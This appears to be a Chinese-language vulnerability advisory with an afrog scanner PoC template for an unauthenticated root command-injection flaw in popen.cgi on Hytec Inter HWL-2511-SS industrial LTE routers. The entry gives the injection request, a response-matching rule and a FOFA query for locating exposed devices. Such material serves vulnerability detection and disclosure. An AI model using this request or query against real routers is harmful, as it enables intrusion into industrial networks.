hytec-inter-hwl-2511-ss-rce: Hytec Inter HWL-2511-SS 路由器 popen.cgi 存在RCE漏洞

2025-08-01 Hytec InterHWL-2511-SS路由器 PoC Public

Description

HWL-2511-SS 是 Hytec Inter 公司的一款工业级 LTE 路由器，可用于远程数据传输，例如收集传感器数据和检查监控摄像头图像。

1.05版本及以下的所有 Hytec Inter HWL-2511-SS 设备存在命令注入漏洞，未经身份验证的攻击者可利用该漏洞进行命令注入漏洞攻击，成功利用该漏洞允许攻击者以 root 权限在底层操作系统上执行任意命令。

fofa: body="app/feature/portForwarding.js" || body="app/app.translate-config.js"

PoC

id: hytec-inter-hwl-2511-ss-rce

info:
  name: Hytec Inter HWL-2511-SS 路由器 popen.cgi 存在RCE漏洞
  author: Y3y1ng
  severity: critical
  verified: true
  description: |-
    HWL-2511-SS 是 Hytec Inter 公司的一款工业级 LTE 路由器，可用于远程数据传输，例如收集传感器数据和检查监控摄像头图像。
    1.05版本及以下的所有 Hytec Inter HWL-2511-SS 设备存在命令注入漏洞，未经身份验证的攻击者可利用该漏洞进行命令注入漏洞攻击，成功利用该漏洞允许攻击者以 root 权限在底层操作系统上执行任意命令。
    fofa: body="app/feature/portForwarding.js" || body="app/app.translate-config.js"
  reference:
    - https://mp.weixin.qq.com/s/5YGix7_8z2vJlMtuhAZLiw
  tags: hytec,rce
  created: 2023/12/04

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/popen.cgi?command=id
    expression: 'response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)'
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/hytec-inter-hwl-2511-ss-rce.yaml

References

Related Vulnerabilities